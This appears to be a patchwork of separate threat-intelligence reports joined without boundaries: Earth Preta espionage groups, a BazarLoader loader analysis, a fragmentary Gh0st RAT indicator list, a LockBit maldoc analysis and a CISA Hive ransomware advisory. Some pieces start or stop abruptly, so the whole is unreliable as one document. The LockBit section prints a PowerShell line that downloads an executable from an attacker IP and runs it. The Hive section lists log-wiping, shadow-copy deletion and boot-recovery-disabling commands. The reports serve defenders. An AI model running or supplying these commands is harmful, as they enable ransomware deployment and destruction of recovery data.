With this entry, we hope to emphasize the importance of international cooperation in combating this significant threat.


Method and findings We found that some operational part of the collective group were focused on stealing intellectual property and sensitive business information, while others targeted government and diplomatic entities.


We also found the operations having specific geographical regions for which they tailored their collection requirements.


Earth Preta’s top 10 targeted industries We used a qualitative approach to identify the collection requirements, methods, and objectives of the operational groups and their respective places in the organization.


We established links between the operational threat groups by grouping overlaps in victimology and identifying core indicators, such as implants or payloads. Figure 2.


Earth Preta’s targeted regions Case studies Overlaps Throughout our investigation, we observed several instances where victims were compromised by two groups simultaneously, indicating possible overlaps in collection requirements between these groups.


While there are no indications of overlaps in individual devices, there are strong indications of targets intersecting, suggesting these groups are pursuing similar objectives.


Additionally, the overlaps among victims indicate a lack in targeting coordination and/or planning within the overall groups' leadership or management.


These targeting overlaps have been observed in multiple groups, such as Groups 724, 1358, and 5171.


Since these groups operate across a variety of sectors, it is likely that the overlap in collection requirements is the result of similar objectives rather than coordination between the toolset and collected materials.


However, we have not been able to identify any evidence of coordination between these groups or a shared toolset.


Infection and exfiltration vectors Group 5171's exfiltration methods are sophisticated and designed to avoid detection.


Several victims in key countries, such as Singapore, Vietnam, Netherlands, Ghana, and Myanmar, have indications of files exfiltrated via a dedicated USB mass storage device.


For instance, in January 2023, a device from Vietnam loaded the Adobe CEF Helper under the path <C:\Users\XXX\AAM


UpdatesXXX\AAM Updates.exe>


and exfiltrated documents to drive F:.


The same device also carried out another collection in December 2022, where data was copied from folder <C\:$RECYCLE.BIN\S-XXXXX$XXXH.pdf>, indicating that the user deleted the collected data.


Roaming endpoint attacks In contrast to Group 5171, Group 1358’s uses malicious USB mass storage devices as its primary method of compromise.


Our analysis indicated that toward the end of 2022 and early 2023, all documented intrusions from Group 1358 used USB mass storage devices.


In addition, there were multiple instances where initial compromise occurred while the assets of the target were roaming abroad through a technique known as the “traveling laptop attack.”


Small sample of Earth Preta’s traveling laptop attack deployments and victims APT subgroups responsible for attack Victim organization’s industry, country Country where attack was deployed from Group 724 Maritime, Australia Papua New Guinea Group 1358 Construction, France Togo Group 5171 NGOs, Africa N/A This mix of traditional intelligence trade craft and cyber techniques could mean that these groups have access to advanced resources and support from nation states, since such techniques are not typically available to independent hackers.


Moreover, this approach could signify the growing convergence of cyber- and physical security as cyberattacks continue to move beyond digital systems and into the physical world.


Operation groups While this is not a comprehensive list, we summarize and attribute the operational functions to specific groups as contributing units to Earth Preta’s cyberespionage activities and deployments.


As we continue following this campaign and track its activities, these group names will be updated accordingly once analyses and attribution are confirmed.


Group 724 Group 724 is possibly related to Earth Preta.


The group utilizes sideloading with Adobe CEF Helper to establish a persistent foothold in the user's home directory, employing a naming convention with one of the following patterns: AcroRD32XXX AAM UpdatesXXX AcrobatXXX Eset Malware ProtectionXXX "XXX" denotes three random letters.


The group uses a USB drive as an entry point into a target's system, indicating its preference for leveraging physical vectors for intrusion.


This group is considered one of the most dangerous in the Southeast Asian region and has been known to target a myriad of organizations.


Group 724 also appears to be focused on compromising targets in specific industries and countries.


The group has been observed targeting sectors such as finance, government, manufacturing, fabrication, construction, energy, transportation, air traffic, and food production.


This targeted approach indicates that the group has developed a clear understanding of the vulnerabilities and high-value assets present in these industries.


The significant level of proliferation suggests that it is well-funded and includes a large team of skilled individuals, likely enabling it to carry out attacks on multiple targets simultaneously.


The group uses customized USB storage devices tailored to individual targets as part of their intrusion tactics.


These customized devices appear to be carefully crafted to bypass security measures and appear legitimate to the target.


With this preference for a physical entry vector, the group can increase the chances of a successful intrusion and maintain its covert operations.


This technique highlights the level of sophistication and planning that goes into Group 724's attacks.


Group 1358 Group 1358 is a highly sophisticated threat actor that employs advanced tactics and techniques to infiltrate and compromise a wide range of targets worldwide.


The group has been observed utilizing Avast’s WSC DLL for sideloading, a technique leveraging the Windows Management Instrumentation (WMI) service to execute malicious code.


This group is potentially composed of several operating groups utilizing the same tools and techniques.


Persistence is established at ProgramData\AvastSvcXXX, where "XXX" represents three random letters.


The group uses generic USB mass storage devices as an entry point, suggesting that they prioritize ease of access over customization.


This group’s choice of malware is PlugX, an older and well-known remote access tool.


Despite its age, PlugX remains an effective tool for threat actors due to its flexibility and evasion capabilities.


The group's victimology is extensive, targeting organizations across various sectors globally.


However, recent observations suggest that the group has shifted its collection efforts towards maritime-related information since December 2022.


Targets have included shipping information, sea vessel movements, border and immigration control, export-related government agencies, food production, and humanitarian groups.


While some of the targets are related to maritime research and development, most of the information we found as targeted pertain to operational maritime information, even to the extent of compromising specific vessels or tugboat companies.


Exfiltration methods utilized involve the use of USB sticks that are plugged in, enabling the PlugX tool to copy all collected data into a previously known and expected USB stick.


This technique allows the group to remain undetected and avoid detection by traditional security measures.


Group 5171 Group 5171 is a threat actor that utilizes advanced techniques to infiltrate and compromise targets across the Middle East and Europe.


The group uses DLL sideloading with Adobe CEF Helper and establishes persistence in the RECYCLERS.BIN folder.


In addition, the group also employs USB-based data exfiltration as part of their tactics.


Group 5171 differentiates itself from other threat actors with their use of the travelling laptop attack.


This technique involves infecting a laptop with malicious code in transit.


Usually, the device will be travelling as part of a routine work travel and upon return to the origin country, a more elaborate exploitation and lateral movement can be initiated.


This method allows the group to bypass traditional security measures and gain access to their targets undetected.


Sectoral targets of Group 5171 are spread out, indicating that the group does not focus on specific sectors but rather adopts a more opportunistic approach.


However, observing victims’ business verticals and sectors indicate that Group 5171’s collection efforts show a high level of interest in research and development related to IT solutions, materials manufacturing and fabrication, energy production and synthetization, air travel, and space.


Conclusion We deem the findings of this research on Earth Preta’s cyberespionage operations have significant implications for international security and intellectual property.


There are strong indications of intertwined traditional intelligence tradecraft and cyber collection efforts, indicative of a highly coordinated and sophisticated cyberespionage operation.


We identified several distinct operational groups, each with unique TTPs and objectives, which reveals a highly specialized and organized cyberespionage operation.


This study also suggests that Earth Preta’s cyberespionage operations have a broad reach and have the capacity to target high value targets.


The shift in collection priorities toward intelligence regarding specific areas also indicates that Earth Preta is targeting critical infrastructure and key institutions that can affect national and international relations, economies, and securities.


Given the scale and sophistication of Earth Preta’s cyberespionage operations, the international community needs to take proactive measures to defend against this significant threat.


This includes robust cybersecurity measures, effective countermeasures against cyberespionage, and increased international cooperation in combating this threat.


The international community must raise awareness on the threats posed by Earth Preta’s cyberespionage operations, promote information sharing, and develop effective countermeasures.


It is essential to have a coordinated response to this threat, with the support of the private sector, academia, and civil society, to ensure the safety and security of critical infrastructure and intellectual property.


For a list of the IOCs, download the appendix here.


Authors Trend Micro Research, News, and Perspectives


BazarLoader Mocks Researchers in December 2020 Malspam Campaign by Lilly Chalupowski | Feb 1, 2021 Our Inbox Detection and Response (IDR) team has observed a new BazarLoader campaign targeting the information technology, aeronautic and financial industries.


The IDR team has successfully blocked over 550 thousand BazarLoader malspam emails throughout this campaign alone.


GoSecure researchers received a sample from the IDR team which was suspected of being BazarLoader, named Report Preview15-10.exe, on 2020-10-06.


Shortly after, GoSecure researchers received yet another BazarLoader sample on 2020-10-08 named Document2-85.exe, which exhibited similar behavior.


The initial infection vector, which has been observed by our Inbox Detection and Response Team (IDR), is via malspam containing fake employment termination notices and anonymous surveys.


The threat actor(s) primarily use Google Drive and Google Docs to distribute their malicious payloads.


The employment termination malspam was observed on October 6, 2020 and the anonymous survey malspam was observed on October 8, 2020.


This can be seen in Figure 1 and Figure 2. Figure 1: BazarLoader Employment Termination Malspam Figure 2: BazarLoader Fake Anonymous Survey We will firstly analyze the employment termination malspam.


Once the user clicks the link, they will be redirected tohxxps://docs[.]google[.]com/document/d/e/2PACX-1vR_9tGGWDcS1ZyIuiGpMQg2Sv9nRWempyUKuQ1iyJp_HHt1C87OPirnO7EImnOW6ILbrmHXUpl_OIxQ/pub to download an executable.


The executable Review_Report15-10.exe (3c27fca6d9cf1379eee93e6fea339e61) will appear as a PDF document to users who do not have extensions enabled in Windows, as seen in Figure 3. Figure 3: Stage 1 PDF Icon Lure To help obfuscate its purpose, BazarLoader appears to be bound or obfuscated with legitimate resources from YUVPlayer (A Lightweight YUV player which supports various YUV formats).


An example of this can be seen in Figure 4. Figure 4: YUVPlayer Dialog Embedded Resource Once executed, the legitimate application or dialogs will not be shown to the user.


Instead, it will call advapi32.CryptHashData using the string s_)q03vcOm95^+Rj3dG_Jx@k0GGwYOIddH_14025b520 as the data to create a hash using the PROV_RSA_FULL Windows cryptographic provider.


Once the hash is created, it will create a key using advapi32.CryptDeriveKey.


It will then obtain a handle to the current process for the purpose of allocating memory with PAGE_EXECUTE_READWRITE permissions.


The next function is responsible for copying the shellcode from the .data section to the newly allocated memory location.


Once the encrypted shellcode has been copied to executable memory, it will then use advapi32.CryptEncrypt to decrypt the shellcode.


Once the shellcode has been successfully decrypted, it will execute the shellcode.


Figure 5: BazarLoader Shellcode Decryption Routine Figure 6: Executing Stage 1 Decrypted Shellcode


The shellcode will obtain a handle to kernel32.LoadLibraryA, kernel32.GetProcAddress, kernel32.VirtualAlloc, kernel32.VirtualProtect and ntdll.


ZwFlushInstructionCache, by enumerating the Process Environment Block (PEB) using the instruction mov rax,qword ptr gs: [60].


This is common with shellcode as it will need to resolve these APIs dynamically to interact with the Windows operating system.


Once completed, it will then call kernel32.VirtualALloc to prepare injecting a PE executable for the next stage.


To build the PE header, it will use the routine shown in Figure 7. Figure 7: Prepare Stage 2 PE Once PE header has been partially copied (excluding MZ magic value), it will start to copy the .text section using the routine shown in Figure 8. Figure 8: Copy .text


Section Once the .text section is copied, it will start resolving many different Windows APIs using kernel32.GetProcAddress.


When the additional APIs have been resolved, it will then make the .text section it copied earlier executable using kernel32.VirtualProtect, as seen in Figure 9. Figure 9: Make .text Section Executable NOTE:


On different debugging sessions the virtual addressing changed during analysis.


Interestingly, the Portable Executable (PE) BazarLoader is copied into memory (without the MZ header) and will start execution at the end of the .text section using a direct call.


This can make unpacking the next stage confusing for reverse engineers as this is not where code in a PE file is supposed to begin.


This code at the end of the .text section is solely responsible for making a call to the real Original Entrypoint (OEP) of the PE.


It is important to note that this is simply used as shellcode and not as a PE in memory.


The other benefit of this technique is no calls to thread related APIs are required, making it more challenging for Endpoint Detection and Response (EDR) solutions to detect.


This can be seen in Figure 10. Figure 10: OEP Shellcode/PE Trickery After the previous trickery in the new memory space, it will start creating another PE in memory, but this time the header does start with the MZ magic value.


After building the headers, it will copy each PE section one at a time, as seen in Figure 11. Figure 11:


Building .text Section for Stage 2 Once the PE has been extracted to memory, it will make a direct call instead of using Threading APIs (same trickery as before).


This can be seen in Figure 12.


Figure 12: Calling Stage 2 Shellcode BazarLoader’s stage 2 shellcode will make use of encrypted stack strings for many purposes throughout the rest of its code.


Before it continues with its malicious activity, it will check if the locale is Armenian (0x2b).


Interestingly, instead of shutting down gracefully when the Armenian locale is detected, it will execute a jmp instruction to an invalid address, causing an access violation exception.


We have seen Russian crimeware checking for the Armenian keyboard layout previously in malware such as KPot, we hypothesize this could be similar behavior.


To avoid running more than one instance of itself, BazarLoader will create a mutex with a hard-coded UUID, then use kernel32.GetLastError to check for the error ERROR_ALREADY_EXISTS.


If the mutex already exists, it will exit the process.


The call to kernel32.CreateMutexA can be seen in Figure 13. Figure 13: Mutex Creation Interestingly, BazarLoader will check for mutexes twice.


Once completed, it will decyrpt its C2 configuration, as seen in Figure 14. Figure 14: BazarLoader Stage 2 Decrypted Downloader Config


Once BazarLoader has determined the Armenian language is not being used and another instance of itself is not running, it will make a HTTP HEAD request to hxxps://titlecs[.]com.


It will continue to do this until it receives a 200 response from the C2 server.


The first request will be sent using wininet.


HttpSendRequestA, as seen in Figure 15. Figure 15: HTTP HEAD Request


It is important to note that the HTTP header Update is not a standard header and can be considered anomalous.


This HEAD request can be seen in Figure 16.


Figure 16: BazarLoader C2 Download Domain HEAD Request


The C2 server will respond with a 200 OK message.


BazarLoader will also check if it is connected to the internet by making a request to microsoft[.]com, as seen in Figure 17. Figure 17: BazarLoader Internet Connectivity Check Once completed, it will make a POST request to the second domain in its configuration, as seen in Figure 18. Figure 18: BazarLoader C2 Checkin Once completed, it will make a HTTP GET request in order to obtain the next stage, as seen in Figure 19. Figure 19:


BazarLoader Downloading Encrypted Payload Differences Between Versions There are a few notable differences between the first version of BazarLoader sent on 2020-10-06 (Employment Termination Malspam) and the one sent on 2020-10-08 (Survey Malspam).


The main difference between the two versions is the malware author(s) now include the string Stupid Defender to mock researchers, the shellcode that was stored in the .data section is now stored in the .rsc section, the functionality to get a pointer to the encrypted shellcode and to decrypt it have been broken out into their own separate functions.


This can be seen in Figures 20 and 21. Figure 20: Updated Main Shellcode Decryption/Execution Routine Figure 21: Obtain Encrypted Pointer to Encrypted Shellcode from the Resource Section Figure 22:


Encrypted Shellcode in Resource Section BazarLoader is becoming increasingly popular amongst threat actors.


We suspect the reason behind the malware developer(s) success is their use of techniques such as avoiding the use of threading APIs and faking PE injection, when in reality, it is simply shellcode injection.


These techniques are likely used to confuse Endpoint Detection and Response (EDR) solutions.


Indicator Description hxxps://titlecs[.]com/issues/284 BazarLoader Encrypted Payload URL hxxps://titlecs[.]com/issues/282 BazarLoader Encrypted Payload URL hxxp://ds46x1[.]com/1/run BazarLoader Encrypted Payload URL labelcs[.]com BazarLoader C2 Domain (Employment Termination Malspam)


mixcinc[.]com BazarLoader C2 Domain (Employment Termination Malspam)


nicknamec[.]com BazarLoader C2 Domain (Employment Termination Malspam) 3c27fca6d9cf1379eee93e6fea339e61 BazarLoader Shellcode Injector (Preview15-10.exe) 3ee60e0efeb5b349a5ba7325ce4a33dc BazarLoader Shellcode Injector (Document2-85.exe) hxxps://docs[.]google[.]com/document/d/e/2PACX- 1vR_9tGGWDcS1ZyIuiGpMQg2Sv9nRWempyUKuQ1iyJp_HHt1C87OPirnO7EImnOW6ILbrmHXUpl_OIxQ/p Employment Termination Malspam Payload URL hxxps://docs[.]google[.]com/document/d/e/2PACX- 1vQ7wK9C0fLCwS3voYLhGz3Gmy6g4UMKe_xZ1ds8xv7LonpviJBXefG9rBZuMPkmtytDYe_5rbDztBnK/pub Survey Malspam Payload URL ds45x1[.]com BazarLoader C2 Domain (Survey Malspam) ds46x1[.]com BazarLoader C2 Domain (Survey Malspam) ds47x1[.]com BazarLoader C2 Domain (Survey Malspam) marcene[.]jack[at]peytoneley[.]com BazarLoader Malspam Email shannon[.]ong35[at]myhunter[.]cuny[.]edu BazarLoader Malspam BazarLoader Malspam Email bessie[.]wilson[at]griply[.]com BazarLoader Malspam Email Lilly Chalupowski Paul Neuman


Found in Environments Protected by: ProofpointBy Nathaniel Raymond, Cofense IntelligenceGh0st RAT, a decades-old open-source remote administration tool (RAT), recently appeared in phishing campaigns targeting a healthcare organization.

OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release


Its feature set expanded over the years to include various surveillance, persistence, and information-stealing capabilities:taking full control of the infected machinerecording keystrokes in real time with offline logging availableaccessing live web cam feeds including microphone recordingdownloading files remotelyremote shutdown and rebootdisabling user inputOver


Gh0st RAT’s long life, Chinese nation-state threat actors have used it to breach high-value targets such as governments, embassies, economic targets, and media.


Indicators of CompromiseFiles1680478346389.zipMD5: 9e6c45b6b8b20bf3c5959dbba8f27117LiveUpdate360.datMD5: f149d3f3ef0361ebe4d346811f29b527LiveUpdate.exeMD5: 96e4b47a136910d6f588b40d872e7f9dsetting.iniMD5: 91aab4bbe634be62d11d132738c23a82SqlVersion9.dllMD5: 317f9ff06c076e87e5b1d11242396d5fú¿╡τ-╫╙-╖ó-╞▒ú⌐.exeMD5: 4723a2a8f68c1eaf82809cff29b8e56fURLshxxps://api[.]youkesdt[.]asia/admin/down/hash/79b7c6ed-c4d8-4b36-b1cd-f968e6570010hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/SqlVersion9[.]dllhxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/Media[.]xmlhxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate360[.]dathxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate[.]exehxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/223[.]114[.]txtCommand and Controlhxxp://61[.]160[.]223[.]114:18076All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.


The Cofense® and PhishMe® names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc.


The post Open-Source Gh0st RAT Still Haunting Inboxes 15 Years After Release appeared first on Cofense.


Threat Actor Targeting Korean Users through malicious Document Files Cyble Research and Intelligence Labs (CRIL) recently discovered an ongoing campaign associated with the notorious ransomware group LockBit.


LockBit has been actively operating since September 2019 and consistently employs various methods to spread its malware.


These tactics include distributing phishing emails containing malicious files, utilizing drive-by downloads, and exploiting vulnerabilities in the remote desktop protocol (RDP).


As a result, LockBit has established itself as a prominent and active threat actor in the realm of ransomware.


The LockBit ransomware group utilizes a double extortion technique to enhance their likelihood of obtaining ransom payments from victims.


This technique encompasses multiple stages, including data encryption to render victim data inaccessible and threats to release stolen data on designated leak sites.


By employing this approach, the group aims to exert significant pressure on victims, compelling them to comply with their demands and pay the ransom.


LockBit ransomware’s maldocs campaign, initially detected in 2022, had specifically targeted individuals in Korea.


In their latest campaign, LockBit has once again embraced the approach of disseminating malware through malicious document files targeting Korean individuals.


Notably, the group utilized the same template injection techniques to deliver their payload.


The figure below depicts the delivery method employed by the LockBit ransomware group.


Figure 1 – Lockbit’s Delivery Mechanism Technical Analysis For analysis purposes, we have taken a specific sample (sha256: 7391bbd59330e79f8ee4a01e5ed20df5ab183737f2b91f926b649facd8d2d278) which is a .docx file commonly known as Office Open XML (OOXML).


OOXML files are essentially packaged ZIP archives that consist of multiple XML files called parts.


These parts contain various properties that collectively determine the document’s display and processing.


Within these parts, certain properties may reference shared public resources accessible through online URLs.


It is also observed that the original filenames of the identified .docx samples were written in the Korean language.


The below image shows the malicious document.


Figure 2 – malicious document Upon opening the malicious document, it attempts to establish a connection with the remote server to retrieve the subsequent component of the attack.


This process involves multiple stages of execution.


In the initial stage, a URL hosting the malicious template file (.dotm) is injected into settings.xml.rels file that resides within the document package.


This enables the document to fetch the .dotm file from the remote server required for further actions.


This technique employed by the attackers aligns with CVE-2017-0199.


The below image shows the extracted content of the document file.


Figure 3 – Extracted content of docx file The below figure displays the contents of the settings.xml.rels file, highlighting the inclusion of a malicious URL and the presence of the Target mode within the settings.xml.rels file.


Figure 4 – settings.xml.rels file content Once a successful connection to the remote server is established, a malicious template file is downloaded and executed.


The downloaded template file contains an obfuscated VBA macro.


TAs have opted for this technique due to its ability to bypass detection mechanisms.


Unlike traditional methods that rely on suspicious indicators such as macros, this technique does not require their presence in the document until the malicious template is retrieved.


The image below displays the de-Obfuscated VBA content from the downloaded template file.


Figure 5 – De-obfuscated macro content The VBA script incorporates a PowerShell command mentioned below to trigger the retrieval of the final stage payload, which is an executable file named “tinytask.exe” from the remote server.


Following the successful download, the script saves the obtained payload in the directory “C:\Users\Public\456trytgre3e45yrthtgr.exe” on the compromised system and proceeds to execute it.


“cmd /c powershell/W 01 curl hxxp://91[.]107[.]210[.]207/tinytask.exe -o C:\Users\Public\456trytgre3e45yrthtgr.exe; C:\Users\Public\456trytgre3e45yrthtgr.exe” The downloaded payload is Lockbit ransomware 2.0.


LockBit Ransomware: After the LockBit ransomware successfully executes on a system, it initiates a series of actions.


These actions include encrypting files with .lockbit extension, modifying Windows automatic backups by deleting shadow copies using vssadmin.exe, disabling startup repairs using the bcdedit tool, and more.


The below figure shows the encrypted files with the .lockbit extension.


Figure 6 – Encrypted files & Extensions Additionally, the ransomware leaves a ransom note that provides detailed instructions for making the required payment, as shown in the below figure.


Figure 7 – Lockbit’s Ransom note We recommend referring to our previous blog post to comprehensively examine LockBit 2.0 and Lockbit 3.0 ransomware.


Conclusion The Lockbit ransomware has taken a surprising turn by adopting the old strategy of distributing its payload through malicious documents.


This shift in behavior has caught us off guard, making it difficult to predict the motives behind this change.


However, it is evident that Lockbit remains a significant threat, continuously evolving and expanding its capabilities.


Therefore, users must remain vigilant and adopt robust security measures to protect against potential Lockbit ransomware attacks.


Cyble Research & Intelligence Labs continuously monitor ransomware campaigns and will keep updating our readers with the latest information.


We recommend that our readers follow the best practices given below: Safety Measures Needed to Prevent Ransomware Attacks Conduct regular backup practices and keep those backups offline or in a separate network.


Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic.


Refrain from opening untrusted links and email attachments without verifying their authenticity.


Users Should Take the Following Steps After the Ransomware Attack Detach infected devices on the same network.


Disconnect external storage devices if connected.


Inspect system logs for suspicious events.


Impact of Ransomware Loss of Valuable data.


Loss of the organization’s reputation and integrity.


Loss of the organization’s sensitive business information.


Disruption in organization operation.


Financial loss.


MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name ExecutionT1059 T1204Command and Scripting Interpreter User ExecutionDiscoveryT1082 T1083System Information Discovery File and Directory DiscoveryDefense EvasionT1070Delete shadow drive dataImpactT1486 T1490 Data encrypted for impact Inhibit System RecoveryCommand and controlT1071Application Layer ProtocolIndicators of Compromise (IOCs)


Indicators Indicator Type Description 7391bbd59330e79f8ee4a01e5ed20df5ab183737f2b91f926b649facd8d2d278 462e39e554bd3abb9ecdcec92d861b315f1efb77 2831b37cf521848142e8a5d69515b065Sha256 Sha1 Md5Malicious docx filed833c23bad7b1988832524bce8a6355c97d031bb3852f671e52fdf9024bd6ec0 32a155dbb9652dd88ae41044e342c1ef92f7e6f2 5e7b650a6e0070bceed648681bff20feSha256 Sha1 Md5Malicious docx file78db865edcf1bcd27b765c458ef1675233b11947dfceef7c45fdd254ae514a3f 2a6df9fa510af4d3e7fde1002ad54c5576abbc07 9a1cac28f716d2e660f2bd6297cd560bSha256 Sha1 Md5 Malicious .dotm file8022060ef633e157518037122a6003813cc0a3066d456a1164275a211efc8f5c 32a155dbb9652dd88ae41044e342c1ef92f7e6f2 5e7b650a6e0070bceed648681bff20fe Sha256 Sha1 Md5 Lockbit ransomwarehxxp://91[.]107[.]210[.]207/tinytask[.]exe hxxp://91[.]107[.]210[.]207/b66ssc[.]dotmURLS


Summary Actions to Take Today to Mitigate Cyber Threats from Ransomware: •


Prioritize remediating known exploited vulnerabilities.


• Enable and enforce multifactor authentication with strong passwords • Close unused ports and remove any application not deemed necessary for day-to-day operations.


Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors.


The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known Hive IOCs and TTPs identified through FBI investigations as recently as November 2022.


FBI, CISA, and HHS encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.


Victims of ransomware operations should report the incident to their local FBI field office or CISA.


Download the PDF version of this report: pdf, 852.9 kb.


For a downloadable copy of IOCs, see AA22-321A.stix (STIX, 43.6 kb).


Technical Details Note: This advisory uses the MITRE ATT&CK:registered: for Enterprise framework, version 12.


As of November 2022, Hive ransomware actors have victimized over 1,300 companies worldwide, receiving approximately US$100 million in ransom payments, according to FBI information.


Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks.


From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH).


The method of initial intrusion will depend on which affiliate targets the network.


Hive actors have gained initial access to victim networks by using single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [T1133].


In some cases, Hive actors have bypassed multifactor authentication (MFA) and gained access to FortiOS servers by exploiting Common Vulnerabilities and Exposures (CVE) CVE-2020-12812.


This vulnerability enables a malicious cyber actor to log in without a prompt for the user’s second authentication factor (FortiToken) when the actor changes the case of the username.


Hive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments [T1566.001] and by exploiting the following vulnerabilities against Microsoft Exchange servers [T1190]: CVE-2021-31207 - Microsoft Exchange Server Security Feature Bypass Vulnerability CVE-2021-34473 - Microsoft Exchange Server Remote Code Execution Vulnerability CVE-2021-34523 - Microsoft Exchange Server Privilege Escalation Vulnerability After gaining access, Hive ransomware attempts to evade detention by executing processes to: Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption [T1562].


Stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or via PowerShell


[T1059] [T1490].


Delete Windows event logs, specifically the System, Security and Application logs


Prior to encryption, Hive ransomware removes virus definitions and disables all portions of Windows Defender and other common antivirus programs in the system registry [T1112].


Hive actors exfiltrate data likely using a combination of Rclone and the cloud storage service Mega.nz


In addition to its capabilities against the Microsoft Windows operating system, Hive ransomware has known variants for Linux, VMware ESXi, and FreeBSD.


During the encryption process, a file named *.key (previously *.key.


*) is created in the root directory (C:\ or /root/).


Required for decryption, this key file only exists on the machine where it was created and cannot be reproduced.


The ransom note, HOW_TO_DECRYPT.txt is dropped into each affected directory and states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered [T1486].


The ransom note contains a “sales department” .onion


link accessible through a TOR browser, enabling victim organizations to contact the actors through a live chat panel to discuss payment for their files.


However, some victims reported receiving phone calls or emails from Hive actors directly to discuss payment.


The ransom note also threatens victims that a public disclosure or leak site accessible on the TOR site, “HiveLeaks”, contains data exfiltrated from victim organizations who do not pay the ransom demand (see figure 1 below).


Additionally, Hive actors have used anonymous file sharing sites to disclose exfiltrated data (see table 1 below).


Figure 1: Sample Hive Ransom Note Table 1: Anonymous File Sharing Sites Used to Disclose Data https://anonfiles[.]com https://mega[.]nz https://send.exploit[.]in https://ufile[.]io https://www.sendspace[.]com https://privatlab[.]net https://privatlab[.]com Once the victim organization contacts Hive actors on the live chat panel, Hive actors communicate the ransom amount and the payment deadline.


Hive actors negotiate ransom demands in U.S. dollars, with initial amounts ranging from several thousand to millions of dollars.


Hive actors demand payment in Bitcoin.


Hive actors have been known to reinfect—with either Hive ransomware or another ransomware variant—the networks of victim organizations who have restored their network without making a ransom payment.


Indicators of Compromise Threat actors have leveraged the following IOCs during Hive ransomware compromises.


Note: Some of these indicators are legitimate applications that Hive threat actors used to aid in further malicious exploitation.


FBI, CISA, and HHS recommend removing any application not deemed necessary for day-to-day operations.


See tables 2–3 below for IOCs obtained from FBI threat response investigations as recently as November 2022.


Table 2: Known IOCs as of November 2022 Known IOCs - Files HOW_TO_DECRYPT.txt typically in directories with encrypted files *.key typically in the root directory, i.e., C:\ or /root hive.bat shadow.bat asq.r77vh0[.]pw - Server hosted malicious HTA file asq.d6shiiwz[.]pw - Server referenced in malicious regsvr32 execution asq.swhw71un[.]pw - Server hosted malicious HTA file asd.s7610rir[.]pw - Server hosted malicious HTA file Windows_x64_encrypt.dll Windows_x64_encrypt.exe Windows_x32_encrypt.dll Windows_x32_encrypt.exe Linux_encrypt Esxi_encrypt Known IOCs – Events System, Security and Application Windows event logs wiped Microsoft Windows Defender AntiSpyware Protection disabled Microsoft Windows Defender AntiVirus Protection disabled Volume shadow copies deleted Normal boot process prevented Known IOCs – Logged Processes wevtutil.exe cl system wevtutil.exe cl security wevtutil.exe cl application vssadmin.exe delete shadows /all


/quiet wmic.exe


SHADOWCOPY /nointeractive wmic.exe shadowcopy delete bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no Table 3:


Potential IOC IP Addresses as of November 2022 Note: Some of these observed IP addresses are more than a year old.


FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action like blocking.


Potential IOC IP Addresses for Compromise or Exfil: 84.32.188[.]57 84.32.188[.]238 93.115.26[.]251 185.8.105[.]67 181.231.81[.]239 185.8.105[.]112 186.111.136[.]37 192.53.123[.]202 158.69.36[.]149 46.166.161[.]123 108.62.118[.]190 46.166.161[.]93 185.247.71[.]106 46.166.162[.]125 5.61.37[.]207 46.166.162[.]96 185.8.105[.]103 46.166.169[.]34 5.199.162[.]220 93.115.25[.]139 5.199.162[.]229 93.115.27[.]148 89.147.109[.]208 83.97.20[.]81 5.61.37[.]207 5.199.162[.]220 5.199.162[.]229; 46.166.161[.]93 46.166.161[.]123; 46.166.162[.]96 46.166.162[.]125 46.166.169[.]34 83.97.20[.]81 84.32.188[.]238 84.32.188[.]57 89.147.109[.]208 93.115.25[.]139; 93.115.26[.]251 93.115.27[.]148 108.62.118[.]190 158.69.36[.]149/span> 181.231.81[.]239 185.8.105[.]67 185.8.105[.]103 185.8.105[.]112 185.247.71[.]106 186.111.136[.]37 192.53.123[.]202 MITRE ATT&CK TECHNIQUES See table 4 for all referenced threat actor tactics and techniques listed in this advisory.


Table 4: Hive Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use External Remote Services T1133 Hive actors gain access to victim networks by using single factor logins via RDP, VPN, and other remote network connection protocols.


Exploit Public-Facing Application T1190 Hive actors gain access to victim network by exploiting the following Microsoft Exchange vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-42321.


Phishing T1566.001 Hive actors gain access to victim networks by distributing phishing emails with malicious attachments.


Execution Technique Title ID Use Command and Scripting Interpreter T1059 Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or PowerShell.


Defense Evasion Technique Title ID Use Indicator Removal on Host T1070 Hive actors delete Windows event logs, specifically, the System, Security and Application logs.


Modify Registry T1112 Hive actors set registry values for DisableAntiSpyware and DisableAntiVirus to 1. Impair Defenses T1562 Hive actors seek processes related to backups, antivirus/anti-spyware, and file copying and terminates those processes to facilitate file encryption.


